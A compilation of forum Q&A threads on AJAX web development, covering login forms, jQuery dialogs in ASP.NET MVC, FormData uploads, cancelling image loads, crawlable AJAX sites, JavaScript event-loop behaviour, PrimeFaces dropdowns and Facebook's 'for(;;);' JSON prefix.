i am building a new site where a user can login. i have 3 options here:
1) classic:
<form action="/login.php" method="POST">
</form>
and the submit button goes to login.php and validates and redirects if success
2) ajax:
same as above but do an ajax call instead and then the javascript redirects
3) iframe:
same idea as stackoverflow/openid
i am wondering which one is better and more secure? thanks
well, in my opinion options 1 & 2 should use post, and in your code you should make sure the request is post. you should also add in other session logic against spoofing if you want the application to be super secure, but this is preferential to the developer and the application. i find iframes to be evil and many hackers use iframes to hack unknowing user's accounts. openid is a trustworthy way to login and is becoming more widely adopted, as well as the facebook version of openid. i know they use the iframe method, but verification is doubled and i believe https is required to implement these type of logins.
again all of this is just my opinion and mostly reliant on the developer's design and business needs/requirements of the application.
hope this helps :)
Classic is the best because require no javascript.
There seem to be several ways to integrate jQuery dialogs with ASP.NET MVC. Has a specific approach emerged as the commonly-accepted best-practice way to do so?
As an example: I have a list page where clicking "edit" for any of the listed items opens a form in a jQuery dialog, populated with the item's details. User edits details and clicks "save". If the save succeeds on the server-side, the dialog is closed and the list is re-built with fresh data. If the save fails on the server-side, the dialog remains open and displays the error message(s) to the user.
Option 1 seems to be more in keeping with "pure" ASP.NET MVC. However, it seems to feature big HTTP payloads (since we're shipping the full page back to the browser on every request), and slower server-side performance (since we're re-building the list on every request).
Option 2 seems to be more consistent with more modern Ajax-based web applications (smaller HTTP payloads, more granular operations). However, it seems like many of the controllers will be JSON controllers, and I'll be writing a lot of client-side code to marshal data from JSON objects to/from form fields, display error messages, etc. It also seems like I'd be missing out on a lot of cool MVC features like EditorFor() and ValidationMessageFor(). It just "feels" like I'm working around the MVC system instead of with it.
[Edit: added option 3] Option 3 seems to be a bit of a hybrid between 1 and 2. I use the "pure" MVC approach to build and populate the form, and return a fully-formed HTML FORM tag. Returning HTML to an ajax request feels weird since it's so verbose, but I can get over it. The post operation is nice, compact JSON which "feels" better over ajax. However, it's unfortunate that the payload object is a FormCollection rather than a real viewmodel object. It seems like I can make use of some of the MVC conveniences (EditorFor()) but not others (ValidationMessageFor()).
I'm looking for the "right" way to do this, not just the fastest way to hack it together. Yeah, yeah, I know there's no universally "right" way. But I'm sure there's some notably wrong ways to do it, and I want to avoid them.
I'm pretty experienced in ASP.NET/C#, but I'm pretty new to MVC. Thanks in advance for your help!
[Edit] - outstanding responses - I wish I could award multiple answers/bounties, as I found several responses extremely useful. But since I can't, I'm marking the top-voted response as the answer. Thanks again to all respondents!
My team and I have a lot of experience writing AJAX enabled MVC apps, and we have used all 3 approaches.
However, my favorite is definitely the AJAX-HTML approach -- Use a PartialView to render the contents of the dialog, which could include server-side validation messages and any other logic.
The biggest benefit of this approach is the separation of concerns - your Views are always responsible for rendering your HTML, and your JavaScript doesn't have to contain any text, markup, or "templates" needed to render the JSON.
Another big advantage is that all the great MVC features are available for rendering the HTML: strongly-typed views, HtmlHelper, DisplayFor and EditorFor templates, DataAnnotations, etc. This makes it easier to be consistent and lends well to refactoring.
Just remember, there's no requirement to stick to a single approach. When your AJAX call only needs something simple, such as a status update like "Success", it's fine to just use a string or JSON to convey those messages. Use PartialViews when HTML is needed, and use simpler methods when communication is needed.
Your 2nd method, the All-JSON approach, seems to be increasingly prevalent with MVC and MVVM client side libraries like Knockout
In this you could actually have all of the data in JSON (including the list) and edit list items (similar to their list item editor demo, just with a dialog rendering isntead of inline, and bind the data to readonly spans in your cells) and then serialize the entirety of the set back to the server on save. Or you could do it with piece-meal saves after each popup edit.
JSFiddle: http://jsfiddle.net/paultyng/weLtH/17/
The JS could be cleaned up a bit, I didn't include a save button, but you should get the idea. The edit dialog could be a single template bound to one edit as well, instead of doing per row, this was just the simplest way to do it with Knockout.
jQuery.tmpl() plugin1I use a similar scenario but do it in a different way.
I have a master list where each item is wrapped in a container (be it table TR or DIV). Some general information about the item is displayed in the master list when there's too much data to contain in a simple list. Hence a master list and not details (of course).
Each item container is usually written this way:
<div class="item" data='<%= item.ToJson() %>'> <!-- single quotes! -->
item visible list data
</div>
The main part here is my custom extension method ToJson() that serializes my item data which can easily be used on the client.
Then I have a jQuery template at the end of a list contained inside a script tag. This template is the actual content of the edit dialog with all item variables set as needed.
Whenever user clicks edit on the item, I simply parse item JSON by:
// in edit link click handler
var itemData = $.parseJSON($(this).closest("[data]").attr("data"));
// display dialog
displayDialog($("#editDialog").tmpl(itemData));
My dialog than takes care of the rest via Ajax calls and closing the dialog when calls are successful or user cancels editing.
This keeps my HTML code to minimum (having only one template) and JSON also contains only those properties that are actually needed.
This is quite common that entities are related between each other. Suppose you have a Post and Comment entities:
public class Post
{
public int Id { get; set; }
public string Body { get; set; }
public IList<Comment> Comments { get; set; }
}
Of course you're not interested in related entities when converting your items to JSON on the server. That's why you can put an attribute to related properties so they don't get included in the JSON:
public class Post
{
public int Id { get; set; }
public string Body { get; set; }
[ScriptIgnore]
public IList<Comment> Comments { get; set; }
}
This will make JSON serializer ignore the related property we won't edit in our details editor.
ToJson() extension codeThe last thing to put here is extension method code so here it goes:
public static class ObjectExtensions
{
/// <summary>
/// Serializes this object instance to JSON string.
/// </summary>
/// <param name="instance">Object instance being extended.</param>
/// <returns>Returns a JSON string that represents current object instance.</returns>
public static string ToJson(this object instance)
{
JavaScriptSerializer serializer = new JavaScriptSerializer();
// register custom class converters
serializer.RegisterConverters(...);
return serializer.Serialize(instance);
}
/// <summary>
/// Serializes this object instance to JSON string.
/// </summary>
/// <param name="instance">Object instance being extended.</param>
/// <param name="recursionDepth">Serialization recursion limit depth.</param>
/// <returns>Returns a JSON string that represents current object instance.</returns>
public static string ToJson(this object instance, int recursionDepth)
{
JavaScriptSerializer serializer = new JavaScriptSerializer();
// register custom class converters
serializer.RegisterConverters(...);
serializer.RecursionLimit = recursionDepth;
return serializer.Serialize(instance);
}
}
Upper approach is useful when your entities aren't too complex. In cases when:
then you can always send a remote Ajax call to server for a single entity and return either
Second approach is better, since converting object instance to either HTML or JSON is practically similar task. but in the second case there's no need for client-side template processing.
But don't use remote requests just because you can. Use an approach that's easier and better for the problem at hand.
I think the best way would be to render the list normally. Hook up the edit links to go to a separate page (follow me here) like you would normally do.
With JS handle clicking of the link, and do a get to it's href. In the edit action do a check for Request.IsAjaxRequest() and if it is, return a partial view if it isn't, return the full view. Or render the normal edit view without the master page (pass in null to the master page parameter in the View() call or call return Partial()). Take the contents of the result and put it into a dialog.
Also use JS to handle submitting the form and getting the result from the request. If it wasn't successful insert the contents of the view into the dialog to show that there were errors. Otherwise close it and move on.
The benefit to this approach is it's very unobtrusive and still allows functionality for those who don't have JS.
Ok, so your options are pretty much torching the concept of progressive enhancement here. 2 & 3 aren't going to work if your client doesn't support java script. Obviously thats ok if you don't care, but I think I'd try to engineer things so that they degrade gracefully and you are asking for best practise here.
So the way I would construct it, starts with your option 1. You have edit buttons that trigger another action which loads an edit page, and this page is designed with all the validators etc as per normal mvc. That's your base functionality so works with no js.
So then the next question is how do we progressively enhance this to have a nice popup instead of a new page?
Well first step is to create a handler to open your dialog attached to the edit links on click (make sure to e.PreventDefault). Now to save too much coding effort I would be looking to reuse the edit page. This is going to require a bit of refactoring though as you don't want to include the layout for the ajax requests. You can do this a few ways, but I think the cleanest is to have the edit area of the edit view as a partial view which the main edit view uses to render its model.
Then, in your edit action, you can check if you have an ajax request, if so then return a PartialView(mypartialeditview) or a View(editview) if not.
In terms of then submitting the results back to the server if you want an easy life just treat it like a form. You can use the micorsoft unobstrive ajax here and it will be very simple. You use Ajax.BeginForm in your partial view. n.b.This will degrade to a normal form if ajax not available. Have the AjaxOptions for this beginform set to update the div in the dialogue so if it responds with its html you don't have to do anything more, it implies a validation error.
[small aside as you asked above about this: In terms of the HttpPost handler, the default model model binder is amazingly smart, it can bind form fields to properties on a complex class object parameter. This also work with json so you don't have to end up with lots of action methods to support different scenarios.]
So if your update is unsucessful the post handler will return the partial view again, bound to the model so you'll get all your validators. If however the update is successful I would suggest that rather than return anything, the action does a redirect back to your main page which you want to reload anyway as you've changed the underlying.
If you don't like doing a full reload of the main page, then it gets more complex as with the approach above you are returning html. You will either have to jquery over that to find a hidden field or class to indicate success/failure or migrate to a pure json approach which returns a jsonresult. This is getting heavier on the maintenance/coding front though. I'd probably do the jquery check and have it wired to the completion handler of the ajax.Beginform.
If you really want to get your head around this stuff, I have found the Steve Sanderson Pro Asp.net MVC book invaluable. The one I initially read was for MVC2, but just in process of reading the MVC3 update. I have mixed feelings on the update, as its been simplified in a few places - easier to follow now but I feel like a few things are missing, also it was rushed as some errors etc as it gets near the end. I guess maybe they panicked now that MVC4 is being talked about and book wasn't out! Still a good book though and it covers all this stuff beautifully.
Hope this helps. Appreciate it covers some of the same ground as an answer above but hope I've drilled in more for you.
First, I want to make clear that I am not talking about this question How many concurrent AJAX (XmlHttpRequest) requests are allowed in popular browsers? , which is about simultaneous requests.
Instead, I want know if there is a limit on the number of pending ajax requests, before the browser potentially starts cancelling them or throwing errors.
Running some simple tests, I've seen that when the limit of about 6 simultaneous requests is hit, the browser will start queuing requests in a graceful manner. Once a 'slot' becomes available, it is used and a new request is sent to the server.
I have also seen that Chrome, Firefox and even IE will gracefully handle a queue of about 100 requests.
I also guess that it's indicated from maximum number of current opened connection and here's the situation in IE Max-Connections and this thread also may help How many concurrent AJAX requests are allowed in popular browsers?
The XMLHttpRequest Level 2 standard (still a working draft) defines the FormData interface. This interface enables appending File objects to XHR-requests (Ajax-requests).
Btw, this is a new feature - in the past, the "hidden-iframe-trick" was used (read about that in my other question).
This is how it works (example):
var xhr = new XMLHttpRequest(),
fd = new FormData();
fd.append( 'file', input.files[0] );
xhr.open( 'POST', 'http://example.com/script.php', true );
xhr.onreadystatechange = handler;
xhr.send( fd );
where input is a <input type="file"> field, and handler is the success-handler for the Ajax-request.
This works beautifully in all browsers (again, except IE).
Now, I would like to make this functionality work with jQuery. I tried this:
var fd = new FormData();
fd.append( 'file', input.files[0] );
$.post( 'http://example.com/script.php', fd, handler );
Unfortunately, that won't work (an "Illegal invocation" error is thrown - screenshot is here). I assume jQuery expects a simple key-value object representing form-field-names / values, and the FormData instance that I'm passing in is apparently incompatible.
Now, since it is possible to pass a FormData instance into xhr.send(), I hope that it is also possible to make it work with jQuery.
Update:
I've created a "feature ticket" over at jQuery's Bug Tracker. It's here: http://bugs.jquery.com/ticket/9995
I was suggested to use an "Ajax prefilter"...
Update:
First, let me give a demo demonstrating what behavior I would like to achieve.
HTML:
<form>
<input type="file" id="file" name="file">
<input type="submit">
</form>
JavaScript:
$( 'form' ).submit(function ( e ) {
var data, xhr;
data = new FormData();
data.append( 'file', $( '#file' )[0].files[0] );
xhr = new XMLHttpRequest();
xhr.open( 'POST', 'http://hacheck.tel.fer.hr/xml.pl', true );
xhr.onreadystatechange = function ( response ) {};
xhr.send( data );
e.preventDefault();
});
The above code results in this HTTP-request:

This is what I need - I want that "multipart/form-data" content-type!
The proposed solution would be like so:
$( 'form' ).submit(function ( e ) {
var data;
data = new FormData();
data.append( 'file', $( '#file' )[0].files[0] );
$.ajax({
url: 'http://hacheck.tel.fer.hr/xml.pl',
data: data,
processData: false,
type: 'POST',
success: function ( data ) {
alert( data );
}
});
e.preventDefault();
});
However, this results in:

As you can see, the content type is wrong...
I believe you could do it like this :
var fd = new FormData();
fd.append( 'file', input.files[0] );
$.ajax({
url: 'http://example.com/script.php',
data: fd,
processData: false,
type: 'POST',
success: function(data){
alert(data);
}
});
Setting processData to false lets you prevent jQuery from automatically transforming the data into a query string. See the docs for more info.
You can use the $.ajax beforeSend event to manipulate the header.
?
beforeSend: function(xhr) {
xhr.setRequestHeader('Content-Type', 'multipart/form-data');
}
?
See this link for additional information: http://msdn.microsoft.com/en-us/library/ms536752(v=vs.85).aspx
I think you cant do it in ajax to support all the browsers, I might say good to check this ajax uploader plugin to see how they have done it http://valums.com/ajax-upload/
There are a few yet to be mentioned techniques available for you. Start with setting the contentType property in your ajax params.
Building on pradeek's example:
$('form').submit(function (e) {
var data;
data = new FormData();
data.append('file', $('#file')[0].files[0]);
$.ajax({
url: 'http://hacheck.tel.fer.hr/xml.pl',
data: data,
processData: false,
type: 'POST',
// This will override the content type header,
// regardless of whether content is actually sent.
// Defaults to 'application/x-www-form-urlencoded'
contentType: 'multipart/form-data',
//Before 1.5.1 you had to do this:
beforeSend: function (x) {
if (x && x.overrideMimeType) {
x.overrideMimeType("multipart/form-data");
}
},
// Now you should be able to do this:
mimeType: 'multipart/form-data', //Property added in 1.5.1
success: function (data) {
alert(data);
}
});
e.preventDefault();
});
In some cases when forcing jQuery ajax to do non-expected things, the beforeSend event is a great place to do it. For a while people were using beforeSend to override the mimeType before that was added into jQuery in 1.5.1. You should be able to modify just about anything on the jqXHR object in the before send event.
Here's some working code for FormData
and the Mozilla FormData Documentation
oh and here's one for jQuery
Hope this helps
If you want to submit files using ajax use "jquery.form.js" This submits all form elements easily.
Samples http://jquery.malsup.com/form/#ajaxSubmit
rough view :
<form id='AddPhotoForm' method='post' action='../photo/admin_save_photo.php' enctype='multipart/form-data'>
<script type="text/javascript">
function showResponseAfterAddPhoto(responseText, statusText)
{
information= responseText;
callAjaxtolist();
$("#AddPhotoForm").resetForm();
$("#photo_msg").html('<div class="album_msg">Photo uploaded Successfully...</div>');
};
$(document).ready(function(){
$('.add_new_photo_div').live('click',function(){
var options = {success:showResponseAfterAddPhoto};
$("#AddPhotoForm").ajaxSubmit(options);
});
});
</script>
I have a very long page that dynamically loads images as users scroll through.
However, if a user quickly scrolls away from a certain part of the page, I don't want the images to continue loading in that now out-of-view part of the page.
There are lots of other requests happening on the page simultaneously apart from image loading, so a blunt window.stop() firing on the scroll event is not acceptable.
I have tried removing & clearing the img src attributes for images that are no longer in view, however, since the request was already started, the image continues to load.
Remember that the image src was filled in as the user briefly scrolled past that part of the page. Once past though, I couldn't get that image from stop loading without using window.stop(). Clearing src didn't work. (Chrome & FF)
Similar posts I found that get close, but don't seem to solve this problem:
What you are trying to do is the wrong approach, as mentioned by nrabinowitz. You can't just "cancel" the loading process of an image (setting the src attribute to an empty string is not a good idea). In fact, even if you could, doing so would only make things worst, as your server would continually send data that would get cancelled, increasing it's load factor and slow it down. Also, consider this:
Often, computer problems are simply design problems.
** EDIT **
Here's an idea :
your page should display DIV containers with the width and height of the expected image size (use CSS to style). Inside of each DIV, add an link. For example :
<div class="img-wrapper thumbnail">
<a href="http://www.domain.com/path/to/image">Loading...</a>
</div>
Add this Javascript (untested, the idea is self describing)
$(function() {
var imgStack;
var loadTimeout;
$(window).scroll(function() {
imgStack = null;
if (loadTimeout) clearTimeout(loadTimeout);
loadTimeout = setTimeout(function() {
// get all links visible in the view port
// should be an array or jQuery object
imgStack = ...
loadNextImage();
}, 200); // 200 ms delay
});
function loadNextImage() {
if (imgStack && imgStack.length) {
var nextLink = $(imgStack.pop()); // get next image element
$('<img />').attr('src', nextLink.attr('href'))
.appendTo(nextLink.parent())
.load(function() {
loadNextImage();
});
// remove link from container (so we don't precess it twice)
nextLink.remove();
}
};
});
You can load your images using ajax calls, and in case that the uses scrolls-out, you can abort the calls. In jQuery pseudo-code it would be something like that: (forgive me mistakes in syntax, it is just an example):
1) tag images that you want to load
$(".image").each( function(){
if ( is_in_visible_area(this) ) { // check [1] for example
$(this).addClass("load_me");
} else {
$(this).addClass("dont_load");
}
});
2) load images
ajax_requests = {};
$(".image load_me").each( function(){
// load image
var a = $.ajax({
url: 'give_me_photos.php',
data: {img: photo_id},
success: function(html){
photo_by_id(photo_id), img.append(html);
}
});
ajax_requests[photo_id] = a;
});
3) cancel loading those out of the screen
for( id in ajax_requests )
if ( ! is_in_visible_area(id) ) {
ajax_requests[id].abort();
}
}
Of course, add also some checking if the image is already loaded (e.g. class "loaded")
Well, my idea:
1) initiate an AJAX request for the image, if it succeeds, the image goes to the browser cache, and once you set the 'src' attribute, the image is shown from the cache
2) you can abort the XHR
I wrote a tiny server with express emulating the huge image download (it actually just waits 20 seconds, then returns an image). Then I have this in my HTML:
<!DOCTYPE html>
<html>
<head>
<style>
img {
width: 469px;
height: 428px;
background-color: #CCC;
border: 1px solid #999;
}
</style>
</head>
<body>
<img data-src="./img" src="" />
<br />
<a id="cancel" href="javascript:void(0)">CANCEL</a>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
<script>
$(function () {
var xhr, img = $('img'), src = img.data('src');
xhr = $.ajax(src, {
success: function (data) { img.attr('src', src) }
});
$('#cancel').click(function (){
xhr.abort();
})
});
</script>
</body>
</html>
BTW, another idea that might work:
1) create a new iframe
2) inside of the iframe have the script that starts loading the image, and once it's loaded, call the .parent's method
3) when in need, stop the iframe content loading using .stop on the iframe object
Use a stack to manage ajax requests (means you will have serial loading instead of parallel but it is worth it)
On scroll stop, wait for 300ms and then push all images inside view-area into stack
Every time a user scrolls check if a stack is running. (fyi - you can stop all requests to a particular url instead of killing all ajax calls. also you can use regex so it should not stop any other requests on the page)
If an existing stack is running - pop all the images that are in it except for the top most one.
On all ajax calls - bind beforeSend() event to remove that particular image from the stack
It is late right now, but we have done something very similar at work - if you need the detailed code let me know.
Cheers!
Maybe you could serve the image through a php script which would check a field in the the db (or better yet a memcached) that would indicate stop loading. the script would portion up the image into chunks and pause in between each chunk and check if the stop flag for the particular request is. If it is set you send the header with A 204 no content which as soon as the browser gets it will stop receiving.
This may be a bit over kill though.
I'm developing a new website and I'd like to make use of AJAX as much as possible. Basically, I want users to almost never navigate away from the homepage and have everything displaying in popup windows, sliders, sections etc.
Now our existing website already ranks pretty high so I also want to keep Google happy. I've been reading the Making AJAX Applications Crawlable by Google and understand that I have to provide the same content for the crawler via _escaped_fragment_.
The problem
I want to develop this website using Umbraco which already provides SEO-friendly URLs. i.e.
But the issue is that I don't have an easy way of implemeting _escaped_fragment_ without hacking the Umbraco core (at least that's my knowledge), and using the solution(answer) I have posted below will also keep users without Javascript happy. Win-Win situation? You tell me! =)
Update
There was an answer from another user yesterday (now deleted) who suggested that Google no longer uses the _escaped_fragment_ method and suggested this be left out. Is this true? Will Google actually run the AJAX to see the content?
Thanks
Marko
I'm taking the advice from @Daniel Pryden's comment and posting this as an answer instead.
I had a think about this problem and thought - why not create the website in an old fashioned manner, actual pages and everything but then perform the following steps.
window.location.pathname, thus triggering the hashchange event. (see step 3)window.location.pathname after a hash (#). For example, Google crawls http://www.domain.com/about-us.aspx but when a user visits the page, they're redirected to http://www.domain.com/#/about-us.aspxThis way, users without Javascript will have a full-blown (semi-good-looking) website, Google will crawl all of the pages without any issues, but users with Javascript will always stay on the homepage - and the cool concept of having a Web App rather than a Web Site will be accomplished.
Have you also considered to use the HTML5 history session management?
This way you don't have to use hashes in newer browsers and that way the user won't notice a thing.
A bit simplified you would do something like this:
EDIT: updated example.
function route(path) {
$.get(path, function(data) {
//parse data
});
}
if (typeof history.pushState !== 'undefined')
{
$(window).bind('popstate', function(e)
{
route(window.location.pathname);
});
$('a').click(function(event) {
event.preventDefault();
history.pushState({},'',this.href);
});
} else {
$(window).bind('hashchange', function(e)
{
route(window.location.hash);
});
$('a').click(function(event) {
event.preventDefault();
$(this).attr('href', '/#'+$(this).attr('href'));
});
}
Use jQuery BBQ and use a js function at the top of your pages to check if there is a valid hash, if so, redirect to the page.
Suppose I write some JavaScript that performs an AJAX call with myCallback as a callback method to execute when the AJAX succeeds.
Suppose then that some other JavaScript method called myFunction is being invoked on my page when myCallback is invoked asynchronously.
Does one operation take precedence over the other? Do they both run at the same time? What happens?
Suppose then that some other JavaScript method called
myFunctionis being invoked on my page whenmyCallbackis invoked asynchronously.Does one operation take precedence over the other? Do they both run at the same time? What happens?
JavaScript on browsers is single-threaded (barring your using web workers, and the syntax for that is explicit). So myFunction will run until it returns — with certain caveats (keep reading). If the ajax layer completes an operation while myFunction is running (which it very well may) and needs to invoke the callback, that call gets queued. The next time your code yields, the next call in the queue will be triggered.
It might seem, then, that we never have to worry about race conditions. That's mostly true, but there are subtleties. For instance, consider this code:
var img = document.createElement('img');
img.src = /* ...the URL of the image... */;
img.onload = function() {
// Handle the fact the image loaded
foo();
};
doSomethingElse();
doYetAnotherThing();
Since JavaScript on browsers is single-threaded, I'm guaranteed to get the load event when the image loads, right?
Wrong.
The JavaScript code is single-threaded, but the rest of the environment probably isn't. So it can happen that, having set the img.src, the browser may see that it has a cached copy of the image it can use, and so it triggers the load event on the img between the img.src = ... line and the img.onload = ... line. Since my handler isn't attached yet, I don't get the call, because by the time I've attached my handler, the event has already fired.
But you can see the effect of queuing if we reverse those lines:
var img = document.createElement('img');
img.onload = function() {
// Handle the fact the image loaded
foo();
};
img.src = /* ...the URL of the image... */;
doSomethingElse();
doYetAnotherThing();
Now I'm hooking the event before setting src. If the event fires between the img.src = ... line and the doSomethingElse line (because the browser has the image in cache), the callback to my handler gets queued. doSomethingElse and doYetAnotherThing run before my handler does. Only when control passes out of my code does the queued call to my handler finally get run. The JavaScript code is single-threaded, but the environment is not.
You can also yield to the host environment in non-obvious ways. For instance, by calling alert or its breathren confirm, prompt, etc. These functions stick out like the sore thumbs they are in modern JavaScript because they aren't event driven; instead, JavaScript execution is suspended while a modal window is shown. But as bobince points out in his in-depth discussion here, that doesn't mean none of your other code will run while that modal is showing. It's still single-threaded, but the one thread is being suspended in one place (by the modal) and used to run code elsewhere in the meantime; a very fine distinction indeed. (Bob also points to some event handling — his focus example — that seems to break this rule, but it doesn't. His example calls focus, which in turn calls the event handlers, and then returns; no different from you calling your own functions.) The key thing the items that Bob points out have in common is that your code has called into something in the host environment that does goes away and does something (shows a modal dialog, fires blur and focus handlers, etc.).
(alert and its breathren in particular cause all sorts of nastiness, particularly around focus and blur, and I recommend avoiding them in favor of more modern techniques (which can also look about 18x better).)
So those are the caveats mentioned at the outset of the answer. And in particular, if myFunction calls alert, at least on Firefox the ajax completion callback will get run during the alert (it won't on most other browsers). If you're curious to try out what does and doesn't happen during alerts and such, here's a test page testing setTimeout and ajax; you could extend the tests to go further.
These answers are all wrong [edit: at least 3-4 wrong when this answer was posted]. The XHR event is put in the event queue/pool. When the single-threaded javascript thread is not busy, it will grab the next events from the event pool, and act on them. One of those events will be your XHR "AJAX" request, which will trigger the callback, which will then execute. This is how all event-driven systems without interrupts work.
edit: Upvoting Joe's answer which links to Is javascript guaranteed to be single-threaded? and mentions the subtle edge-cases. Very informative.
Javascript kind of single threaded see Is javascript guaranteed to be single-threaded?. So the answer is NO, your event handler and your function could run at the same time, or they might not.
The AJAX callback runs on the next event loop.
The ajax calls with be simultaneously. So when the ajax call is successful, the callback function is invoked which in turn invokes the the myfunction.
You could quickly test this by putting an alert('first one'); alert('second one'); in both functions, and see which modal popup comes up first. If your code really is affected by the order, put some conditional checks in both to prevent / allow something. The speed of native js vs the speed of a full round-trip to and from the server is wildly different. Unless you have some javascript running in an infinite loop, the odds of the ajax call returning during your other function execution is tiny.
AJAX calls are "asyncronous" which means "fire off a call and let me know what you want me to call back when im done".
so in short:
function DoSomething() { AJAXCall(Callback); }
... some time passes then ...
function Callback() { Done(); }
Between those 2 function calls anything can happen, the callback will still be called when the response comes back because although the javascript runtime is single threaded the browser will stack calls to happen in some sort of order (likely the order they are made but not garanteed).
It's a shame i just pulled done my old website because i had classic example of a page making several ajax calls on load, as each call came back it would populate various portions of the page.
although each call was "attached" to the document loaded event only 1 call could be made at a time but the server could respond to any call in any order because the server could be multithreaded (and likely is).
Think of javascript as being a virtual box in which which the browser can pass a small lump of code, it can only run 1 lump at a time but it can run lots of scripts in whatever order it sees fit (generally this is unpredictable with multiple ajax calls because who knows when the server might come back with a result)
When the ajax succeeds and invokes myCallback, it will run synchronously. So myCallback is like other functions, you call it first it will run first or you call it last it will run last. THEY WILL NOT RUN AT THE SAME TIME.
I am having trouble with implementing two SelectOneMenu controls, where data in the second one depends on the selection made in the first. This example on the primeFaces showcase is almost the same as what I want to implement: http://www.primefaces.org/showcase-labs/ui/pprSelect.jsf
except that I have to get the data from a database.
The above example is working correctly in the same project. I am using NetBeans 7.0 with GlassFish 3.1 and PrimeFaces 3.0.M2, the latest drop (20th June 2011).
The source code of the JSF page and the managed bean is attached.
<?xml version='1.0' encoding='UTF-8' ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:h="http://java.sun.com/jsf/html"
xmlns:p="http://primefaces.prime.com.tr/ui"
xmlns:f="http://java.sun.com/jsf/core">
<h:head><title>Facelet Title</title></h:head>
<h:body>
<p:log />
<center>
<h:form>
<h:outputText value="State: "/>
<p:selectOneMenu id="selectState" value="#{stateCityBean.selectedStateArray}">
<f:selectItem itemLabel="Select Any" itemValue="Empty String"/>
<p:ajax update="selectCity" listener="#{stateCityBean.updateCityMap}"/>
<f:selectItems value="#{stateCityBean.stateMap}" />
</p:selectOneMenu>
<p></p>
<h:outputText value="City: "/>
<p:selectOneMenu id="selectCity" value="#{stateCityBean.selectedCityArray}">
<f:selectItem itemLabel="Select Any" itemValue="Empty String"/>
<f:selectItems value="#{stateCityBean.cityMap}"/>
</p:selectOneMenu>
</h:form>
</center>
</h:body>
StateCityBean.java
package com.xyz.mbeans;
import com.iwizability.priceinfo.dao.*;
import com.iwizability.priceinfo.pojo.*;
import java.util.LinkedHashMap;
import java.util.Map;
import javax.faces.bean.ManagedBean;
import javax.faces.bean.SessionScoped;
import javax.faces.context.FacesContext;
import javax.faces.context.Flash;
import javax.faces.event.ValueChangeEvent;
@ManagedBean
@SessionScoped
public class StateCityBean {
private String selectedStateArray;
private Map<String, State> StateMap;
private Map<String, City> CityMap;
private String selectedCityArray;
public StateCityBean() {
System.out.println("Inside.............. ");
StateMap = new LinkedHashMap<String, State>();
CityMap = new LinkedHashMap<String, City>();
}
public String getSelectedStateArray() {return selectedStateArray;}
public void setSelectedStateArray(String selectedStateArray) {this.selectedStateArray = selectedStateArray;}
public Map<String, State> getStateMap() {
StateDaoImpl stateObj = new StateDaoImpl();
StateMap = stateObj.getState();
return StateMap;
}
public void setStateMap(Map<String, State> stateArray) {this.StateMap = stateArray;}
public String getSelectedCityArray() {return selectedCityArray;}
public void setSelectedCityArray(String selectedCityArray) {this.selectedCityArray = selectedCityArray;}
public Map<String, City> getCityMap() {
CityDaoImpl cityObj = new CityDaoImpl();
int stateId = 0;
if (selectedStateArray != null && !selectedStateArray.equals("")) {
stateId = StateMap.get(selectedStateArray).getId();
}
CityMap = cityObj.getCity(stateId);
return CityMap;
}
public void setCityMap(Map<String, City> CityArray) {
this.CityMap = CityArray;
}
public void updateCityMap() {
CityDaoImpl cityObj = new CityDaoImpl();
int stateId = 0;
if (selectedStateArray != null && !selectedStateArray.equals("")) {
stateId = StateMap.get(selectedStateArray).getId();
this.CityMap = cityObj.getCity(stateId);
}
}
}
On debugging, I can see that the updateCityMap method is invoked but the SelectedStateArray variable is null. Even force changing the value of bound CityMap variable does not update the selectCity drop down.
As you would have guessed, I am new to JSF, but the problem is compounded by the fact that I am using a still in development version of the tag library...
I did a state -> city select in my jsf project the same way you did. The only differences I found are:
p:ajax has a change event: <p:ajax event="change" update="city" listener="#{contatoMB.filterCities}" />.p:ajax comes last after the f:selectItems but this shouldn't be the problem.f:selectItems list in the city select is List<javax.faces.model.SelectItem> and not a Map<String, City>, have you tried using SelectItems instead of your map?<h:form id="contact-form" prependId="false">, again, this shouldn't be the problem.h:selectOneMenu is inside a p:panel, some PrimeFaces components behave in a strange way when inside or outside some other components.If none of this works maybe the problem is the PrimeFaces version you're using. My PrimeFaces version is 2.2.1.
I found this kind of syntax being used on facebook for AJAX calls. I'm confused on the for (;;); part in the beginning of response. What is it used for?
This is the call and response:
GET http://0.131.channel.facebook.com/x/1476579705/51033089/false/p_1524926084=0
response:
for (;;);{"t":"continue"}
I suspect the primary reason it's there is control. It forces you to retrieve the data via Ajax, not via JSON-P or similar (which uses script tags, and so would fail because that for loop is infinite), and thus ensures that the Same Origin Policy kicks in. This lets them control what documents can issue calls to the API — specifically, only documents that have the same origin as that API call, or ones that Facebook specifically grants access to via CORS (on browsers that support CORS). So you have to request the data via a mechanism where the browser will enforce the SOP, and you have to know about that preface and remove it before deserializing the data.
So yeah, it's about controlling (useful) access to that data.
Well the for(;;); is an infinite loop (you can use Chrome's JavaScript console to run that code in a tab if you want, and then watch the CPU-usage in the task manager go through the roof until the browser kills the tab).
So I suspect that maybe it is being put there to frustrate anyone attempting to parse the response using eval or any other technique that executes the returned data.
To explain further, it used to be fairly commonplace to parse a bit of JSON-formatted data using JavaScript's eval() function, by doing something like:
var parsedJson = eval('(' + jsonString + ')');
...this is considered unsafe, however, as if for some reason your JSON-formatted data contains executable JavaScript code instead of (or in addition to) JSON-formatted data then that code will be executed by the eval(). This means that if you are talking with an untrusted server, or if someone compromises a trusted server, then they can run arbitrary code on your page.
Because of this, using things like eval() to parse JSON-formatted data is generally frowned upon, and the for(;;); statement in the Facebook JSON will prevent people from parsing the data that way. Anyone that tries will get an infinite loop. So essentially, it's like Facebook is trying to enforce that people work with its API in a way that doesn't leave them vulnerable to future exploits that try to hijack the Facebook API to use as a vector.
Facebook has a ton of developers working internally on a lot of projects, and it is very common for someone to make a minor mistake; whether it be something as simple and serious as failing to escape data inserted into an HTML or SQL template or something as intricate and subtle as using eval (sometimes inefficient and arguably insecure) or JSON.parse (a compliant but not universally implemented extension) instead of a "known good" JSON decoder, it is important to figure out ways to easily enforce best practices on this developer population.
To face this challenge, Facebook has recently been going "all out" with internal projects designed to gracefully enforce these best practices, and to be honest the only explanation that truly makes sense for this specific case is just that: someone internally decided that all JSON parsing should go through a single implementation in their core library, and the best way to enforce that is for every single API response to get for(;;); automatically tacked on the front.
